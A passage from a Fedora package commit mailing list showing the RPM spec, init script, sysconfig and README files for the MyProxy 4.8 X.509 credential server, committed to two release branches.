[ ! -r $X509_USER_KEY ]  && echo -n "$prog: No hostkey file"  && failure && echo && exit 5
[ ! -r $X509_USER_CERT ] && echo -n "$prog: No hostcert file" && failure && echo && exit 5

lockfile=/var/lock/subsys/$prog


start() {
    echo -n $"Starting $prog: "
    daemon --user $MYPROXY_USER X509_USER_CERT=$X509_USER_CERT X509_USER_KEY=$X509_USER_KEY $exec $MYPROXY_OPTIONS
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

case "$1" in
    start|stop|restart)
        $1
        ;;
    force-reload)
        restart
        ;;
    status)
        status $prog
        ;;
    try-restart|condrestart)
        if status $prog >/dev/null ; then
            restart
        fi
	;;
    reload)
        # If config can be reloaded without restarting, implement it here,
        # remove the "exit", and add "reload" to the usage message below.
        # For example:
        status $prog >/dev/null || exit 7
        killproc $prog -HUP
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|reload|try-restart|force-reload}"
        exit 2
esac


--- NEW FILE myproxy.spec ---
%{!?_initddir: %global _initddir %{_initrddir}}

%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:           myproxy
Version:        4.8
Release:        4%{?dist}
Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials

Group:          System Environment/Daemons
License:        NCSA and BSD and ASL 2.0
URL:            http://grid.ncsa.illinois.edu/myproxy/
Source0:        http://www.globus.org/ftppub/myproxy/myproxy-%{version}.tar.gz
Source1:        myproxy.init
Source2:        myproxy.sysconfig
Source3:        README.Fedora

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  globus-gss-assist-devel > 3
BuildRequires:  pam-devel
BuildRequires:  graphviz
BuildRequires:  voms-devel >= 1.9.12.1
BuildRequires:  cyrus-sasl-devel
BuildRequires:  openldap-devel >= 2.3
BuildRequires:  grid-packaging-tools 
BuildRequires:  doxygen

%if "%{?rhel}" == "5"
BuildRequires: graphviz-gd
%endif

%if %{?fedora}%{!?fedora:0} >= 9
BuildRequires:  tex(latex)
%else
%if %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  tex(latex)
%else
BuildRequires:  tetex-latex
%endif
%endif


%description
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

%package client
Requires:      myproxy = %{version}-%{release}
Requires:      globus-proxy-utils
Requires:      voms-clients
Summary:       Manage X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description client
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-client contains client utilities for MyProxy.

%package devel
Requires:      myproxy = %{version}-%{release}
# in .el5 and 4 this dependency is not picked up
# automatically via pkgconfig
%if  0%{?el4}%{?el5}
Requires:      globus-gss-assist-devel > 3
%endif
Summary:       Develop X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description devel
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-devel contains development files for MyProxy.

%package server
Requires(pre):    shadow-utils
Requires(post):   chkconfig
Requires(preun):  chkconfig
Requires(preun):  initscripts
Requires(postun): initscripts
Requires:         myproxy = %{version}-%{release}
Summary:          Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:            System Environment/Daemons

%description server
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-server contains the MyProxy server.

# Create a sepeate admin clients package since they
# not needed for normal operation and pull in
# a load of perl dependencies.
%package       admin
Requires:      myproxy-server = %{version}-%{release}
Summary:       Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description admin
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-admin contains the MyProxy server admin commands.



%package doc
Requires:      myproxy = %{version}-%{release}
Summary:       Documentation for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         Documentation

%description doc
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-doc contains the MyProxy documentation.


%prep
%setup -q
cp -p %{SOURCE1} .
cp -p %{SOURCE2} .
cp -p %{SOURCE3} .

%build
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*

for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                    --with-voms=%{_usr} \
                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_dev.filelist

# Put documentation in Fedora defaults and alter GPT package lists.
mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras
mv $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}/{refman.pdf,html} \
    $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/.

sed -i "s!/share/doc/%{name}/html/!/share/doc/%{name}-doc-%{version}/html/!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist
sed -i "s!/share/doc/%{name}/refman.pdf!/share/doc/%{name}-doc-%{version}/refman.pdf!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


# We are going to zip the man pages later in the package so we need to
# correct the gpt data in anticipation.
sed -i "s!\(/share/man/.*\)!\1.gz!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


for FILE in login.html myproxy-accepted-credentials-mapapp myproxy-cert-checker myproxy-certificate-mapapp \
             myproxy-certreq-checker myproxy-crl.cron myproxy.cron myproxy-get-delegation.cgi \
             myproxy-get-trustroots.cron myproxy-passphrase-policy myproxy-revoke 
do
   mv $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras/.
   sed -i "s!%{name}/${FILE}!doc/%{name}-doc-%{version}/extras/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}
for FILE in INSTALL LICENSE LICENSE.* PROTOCOL README VERSION
do 
  mv  $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}/.
  sed -i "s!%{name}/${FILE}!doc/%{name}-%{version}/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Remove irrelavent example configuration files.
for FILE in etc.inetd.conf.modifications etc.init.d.myproxy.nonroot etc.services.modifications  \
            etc.xinetd.myproxy etc.init.d.myproxy
do
  rm $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE
  sed -i "/share\/%{name}\/$FILE/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc


# Move example configuration file into place.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
mv $RPM_BUILD_ROOT%{_datadir}/%{name}/myproxy-server.config \
   $RPM_BUILD_ROOT%{_sysconfdir}
sed -i "/share\/%{name}\/myproxy-server.config/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist


mkdir -p $RPM_BUILD_ROOT%{_initddir}
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
install  -m 755 myproxy.init $RPM_BUILD_ROOT%{_initddir}/myproxy-server
install  -m 644 myproxy.sysconfig $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/myproxy-server
mkdir -p $RPM_BUILD_ROOT%{_var}/lib/myproxy

# Create a directory to hold myproxy owned host certificates.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/grid-security/myproxy

%clean
rm -rf $RPM_BUILD_ROOT


%check 
# Check that the entries in gpt filelists are all present.
GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages
for LIST in $GLOBUSPACKAGEDIR/%{name}/*.filelist
do
   for FILE in $(cat $LIST)
   do
      if [ ! -r $RPM_BUILD_ROOT%{_usr}$FILE ] ; then
        echo "Check failed:"
        echo "Filelist $LIST contains:"
        echo "$FILE"
        echo "which is not present at:"
        echo $RPM_BUILD_ROOT%{_usr}$FILE 
        exit 1
      fi
   done
done



%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%pre server
getent group myproxy >/dev/null || groupadd -r myproxy
getent passwd myproxy >/dev/null || \
useradd -r -g myproxy -d %{_var}/lib/myproxy -s /sbin/nologin \
   -c "User to run the MyProxy service" myproxy
exit 0

%post server
/sbin/chkconfig --add myproxy-server

%preun server
if [ $1 = 0 ] ; then
    /sbin/service myproxy-server stop >/dev/null 2>&1
    /sbin/chkconfig --del myproxy-server
fi

%postun server
if [ "$1" -ge "1" ] ; then
    /sbin/service myproxy-server condrestart >/dev/null 2>&1 || :
fi


%files
%defattr(-,root,root,-)
%{_datadir}/globus/packages/%{name}

%doc %{_defaultdocdir}/%{name}-%{version}

%{_libdir}/libmyproxy.so.4
%{_libdir}/libmyproxy.so.4.0.8

%files client
%defattr(-,root,root,-)
%{_bindir}/myproxy-change-pass-phrase
%{_bindir}/myproxy-destroy
%{_bindir}/myproxy-get-delegation
%{_bindir}/myproxy-get-trustroots
%{_bindir}/myproxy-info
%{_bindir}/myproxy-init
%{_bindir}/myproxy-logon
%{_bindir}/myproxy-retrieve
%{_bindir}/myproxy-store

%{_mandir}/man1/myproxy-change-pass-phrase.1.gz
%{_mandir}/man1/myproxy-destroy.1.gz
%{_mandir}/man1/myproxy-get-delegation.1.gz
%{_mandir}/man1/myproxy-info.1.gz
%{_mandir}/man1/myproxy-init.1.gz
%{_mandir}/man1/myproxy-logon.1.gz
%{_mandir}/man1/myproxy-retrieve.1.gz
%{_mandir}/man1/myproxy-store.1.gz

%files server
%defattr(-,root,root,-)
%{_sbindir}/myproxy-server
%{_initddir}/myproxy-server
%config(noreplace)    %{_sysconfdir}/myproxy-server.config
%config(noreplace)    %{_sysconfdir}/sysconfig/myproxy-server
# myproxy-server wants exactly 700 permission on its data 
# which is just fine.
%attr(0700,myproxy,myproxy) %dir %{_var}/lib/myproxy
%dir %{_sysconfdir}/grid-security
%dir %{_sysconfdir}/grid-security/myproxy

%{_mandir}/man8/myproxy-server.8.gz
%{_mandir}/man5/myproxy-server.config.5.gz

%doc README.Fedora

%files admin
%defattr(-,root,root,-)
%{_sbindir}/myproxy-admin-addservice
%{_sbindir}/myproxy-admin-adduser
%{_sbindir}/myproxy-admin-change-pass
%{_sbindir}/myproxy-admin-load-credential
%{_sbindir}/myproxy-admin-query
%{_sbindir}/myproxy-replicate
%{_sbindir}/myproxy-server-setup
%{_sbindir}/myproxy-test
%{_sbindir}/myproxy-test-replicate
%{_mandir}/man8/myproxy-admin-addservice.8.gz
%{_mandir}/man8/myproxy-admin-adduser.8.gz
%{_mandir}/man8/myproxy-admin-change-pass.8.gz
%{_mandir}/man8/myproxy-admin-load-credential.8.gz
%{_mandir}/man8/myproxy-admin-query.8.gz
%{_mandir}/man8/myproxy-replicate.8.gz

%files doc
%defattr(-,root,root,-)
%doc %{_defaultdocdir}/%{name}-doc-%{version}

%files devel
%defattr(-,root,root,-)
%{_includedir}/globus/myproxy.h
%{_includedir}/globus/myproxy_authorization.h
%{_includedir}/globus/myproxy_constants.h
%{_includedir}/globus/myproxy_creds.h
%{_includedir}/globus/myproxy_delegation.h
%{_includedir}/globus/myproxy_log.h
%{_includedir}/globus/myproxy_protocol.h
%{_includedir}/globus/myproxy_read_pass.h
%{_includedir}/globus/myproxy_sasl_client.h
%{_includedir}/globus/myproxy_sasl_server.h
%{_includedir}/globus/myproxy_server.h
%{_includedir}/globus/verror.h
%{_libdir}/libmyproxy.so
%{_libdir}/pkgconfig/myproxy.pc

%changelog
* Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
- Add ASL 2.0 license as well.
- Explicitly add /etc/grid-security to files list
- For .el4/5 build only add globus-gss-assist-devel as requirment 
  to myproxy-devel package.
* Thu Oct 1 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-3
- Set _initddir for .el4 and .el5 building.
* Mon Sep 21 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-2
- Require version of voms with fixed ABI.
* Sun Sep 10 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-1
- Increase version to upstream 4.8
- Remove  voms-header-location.patch since fixed upstream now.
- Include directory /etc/grid-security/myproxy
* Mon Jun 22 2009 Steve Traylen <steve.traylen at cern.ch> -  4.7-1
- Initial version.



--- NEW FILE myproxy.sysconfig ---
# Any environment for MyProxy Startup.

# Override these defaults here.
## MYPROXY_USER=myproxy
## MYPROXY_OPTIONS="-s /var/lib/myproxy"
## X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
## X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:08:18 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:15:55 -0000	1.2
@@ -0,0 +1 @@
+myproxy-4.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:08:18 -0000	1.1
+++ sources	11 Oct 2009 06:15:55 -0000	1.2
@@ -0,0 +1 @@
+85f29d553bfec5fa5f2042440542524f  myproxy-4.8.tar.gz



From stevetraylen at fedoraproject.org  Sun Oct 11 06:15:55 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sun, 11 Oct 2009 06:15:55 +0000 (UTC)
Subject: rpms/myproxy/F-11 README.Fedora, NONE, 1.1 myproxy.init, NONE,
	1.1 myproxy.spec, NONE, 1.1 myproxy.sysconfig, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011061555.3397811C00EC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9888/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	README.Fedora myproxy.init myproxy.spec myproxy.sysconfig 
Log Message:
First version to branches.



--- NEW FILE README.Fedora ---

You must install host certificates for myproxy-server.

These should be located at 

/etc/grid-security/myproxy/hostcert.pem  , permissions 644
/etc/grid-security/myproxy/hostkey.pem   , permission  600

and owned by user/group  myproxy/myproxy.






--- NEW FILE myproxy.init ---
#!/bin/sh
#
# myproxy-server - Server for X.509 Public Key Infrastructure (PKI) security credentials
#
# chkconfig: - 55 25
# description:  Server for X.509 Public Key Infrastructure (PKI) security credentials
#
### BEGIN INIT INFO
# Provides: myproxy-server
# Required-Start:  $local_fs $network $syslog
# Required-Stop:  $local_fs $syslog
# Should-Start:  $syslog
# Should-Stop:  $network $syslog
# Default-Stop:
# Default-Start:
# Short-Description: Startup the MyProxy server daemon
# Description: Server for X.509 Public Key Infrastructure (PKI) security credentials
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec="/usr/sbin/myproxy-server"
prog=$(basename $exec)

# Defaults
MYPROXY_USER=myproxy
MYPROXY_OPTIONS="-s /var/lib/myproxy"
X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem

# Override defaults here.
[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

# A few sanity checks 
[ ! -r $X509_USER_KEY ]  && echo -n "$prog: No hostkey file"  && failure && echo && exit 5
[ ! -r $X509_USER_CERT ] && echo -n "$prog: No hostcert file" && failure && echo && exit 5

lockfile=/var/lock/subsys/$prog


start() {
    echo -n $"Starting $prog: "
    daemon --user $MYPROXY_USER X509_USER_CERT=$X509_USER_CERT X509_USER_KEY=$X509_USER_KEY $exec $MYPROXY_OPTIONS
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

case "$1" in
    start|stop|restart)
        $1
        ;;
    force-reload)
        restart
        ;;
    status)
        status $prog
        ;;
    try-restart|condrestart)
        if status $prog >/dev/null ; then
            restart
        fi
	;;
    reload)
        # If config can be reloaded without restarting, implement it here,
        # remove the "exit", and add "reload" to the usage message below.
        # For example:
        status $prog >/dev/null || exit 7
        killproc $prog -HUP
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|reload|try-restart|force-reload}"
        exit 2
esac


--- NEW FILE myproxy.spec ---
%{!?_initddir: %global _initddir %{_initrddir}}

%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:           myproxy
Version:        4.8
Release:        4%{?dist}
Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials

Group:          System Environment/Daemons
License:        NCSA and BSD and ASL 2.0
URL:            http://grid.ncsa.illinois.edu/myproxy/
Source0:        http://www.globus.org/ftppub/myproxy/myproxy-%{version}.tar.gz
Source1:        myproxy.init
Source2:        myproxy.sysconfig
Source3:        README.Fedora

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  globus-gss-assist-devel > 3
BuildRequires:  pam-devel
BuildRequires:  graphviz
BuildRequires:  voms-devel >= 1.9.12.1
BuildRequires:  cyrus-sasl-devel
BuildRequires:  openldap-devel >= 2.3
BuildRequires:  grid-packaging-tools 
BuildRequires:  doxygen

%if "%{?rhel}" == "5"
BuildRequires: graphviz-gd
%endif

%if %{?fedora}%{!?fedora:0} >= 9
BuildRequires:  tex(latex)
%else
%if %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  tex(latex)
%else
BuildRequires:  tetex-latex
%endif
%endif


%description
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

%package client
Requires:      myproxy = %{version}-%{release}
Requires:      globus-proxy-utils
Requires:      voms-clients
Summary:       Manage X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description client
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-client contains client utilities for MyProxy.

%package devel
Requires:      myproxy = %{version}-%{release}
# in .el5 and 4 this dependency is not picked up
# automatically via pkgconfig
%if  0%{?el4}%{?el5}
Requires:      globus-gss-assist-devel > 3
%endif
Summary:       Develop X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description devel
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-devel contains development files for MyProxy.

%package server
Requires(pre):    shadow-utils
Requires(post):   chkconfig
Requires(preun):  chkconfig
Requires(preun):  initscripts
Requires(postun): initscripts
Requires:         myproxy = %{version}-%{release}
Summary:          Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:            System Environment/Daemons

%description server
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-server contains the MyProxy server.

# Create a sepeate admin clients package since they
# not needed for normal operation and pull in
# a load of perl dependencies.
%package       admin
Requires:      myproxy-server = %{version}-%{release}
Summary:       Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description admin
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-admin contains the MyProxy server admin commands.



%package doc
Requires:      myproxy = %{version}-%{release}
Summary:       Documentation for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         Documentation

%description doc
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-doc contains the MyProxy documentation.


%prep
%setup -q
cp -p %{SOURCE1} .
cp -p %{SOURCE2} .
cp -p %{SOURCE3} .

%build
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*

for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                    --with-voms=%{_usr} \
                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_dev.filelist

# Put documentation in Fedora defaults and alter GPT package lists.
mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras
mv $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}/{refman.pdf,html} \
    $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/.

sed -i "s!/share/doc/%{name}/html/!/share/doc/%{name}-doc-%{version}/html/!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist
sed -i "s!/share/doc/%{name}/refman.pdf!/share/doc/%{name}-doc-%{version}/refman.pdf!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


# We are going to zip the man pages later in the package so we need to
# correct the gpt data in anticipation.
sed -i "s!\(/share/man/.*\)!\1.gz!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


for FILE in login.html myproxy-accepted-credentials-mapapp myproxy-cert-checker myproxy-certificate-mapapp \
             myproxy-certreq-checker myproxy-crl.cron myproxy.cron myproxy-get-delegation.cgi \
             myproxy-get-trustroots.cron myproxy-passphrase-policy myproxy-revoke 
do
   mv $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras/.
   sed -i "s!%{name}/${FILE}!doc/%{name}-doc-%{version}/extras/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}
for FILE in INSTALL LICENSE LICENSE.* PROTOCOL README VERSION
do 
  mv  $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}/.
  sed -i "s!%{name}/${FILE}!doc/%{name}-%{version}/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Remove irrelavent example configuration files.
for FILE in etc.inetd.conf.modifications etc.init.d.myproxy.nonroot etc.services.modifications  \
            etc.xinetd.myproxy etc.init.d.myproxy
do
  rm $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE
  sed -i "/share\/%{name}\/$FILE/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc


# Move example configuration file into place.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
mv $RPM_BUILD_ROOT%{_datadir}/%{name}/myproxy-server.config \
   $RPM_BUILD_ROOT%{_sysconfdir}
sed -i "/share\/%{name}\/myproxy-server.config/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist


mkdir -p $RPM_BUILD_ROOT%{_initddir}
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
install  -m 755 myproxy.init $RPM_BUILD_ROOT%{_initddir}/myproxy-server
install  -m 644 myproxy.sysconfig $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/myproxy-server
mkdir -p $RPM_BUILD_ROOT%{_var}/lib/myproxy

# Create a directory to hold myproxy owned host certificates.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/grid-security/myproxy

%clean
rm -rf $RPM_BUILD_ROOT


%check 
# Check that the entries in gpt filelists are all present.
GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages
for LIST in $GLOBUSPACKAGEDIR/%{name}/*.filelist
do
   for FILE in $(cat $LIST)
   do
      if [ ! -r $RPM_BUILD_ROOT%{_usr}$FILE ] ; then
        echo "Check failed:"
        echo "Filelist $LIST contains:"
        echo "$FILE"
        echo "which is not present at:"
        echo $RPM_BUILD_ROOT%{_usr}$FILE 
        exit 1
      fi
   done
done



%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%pre server
getent group myproxy >/dev/null || groupadd -r myproxy
getent passwd myproxy >/dev/null || \
useradd -r -g myproxy -d %{_var}/lib/myproxy -s /sbin/nologin \
   -c "User to run the MyProxy service" myproxy
exit 0

%post server
/sbin/chkconfig --add myproxy-server

%preun server
if [ $1 = 0 ] ; then
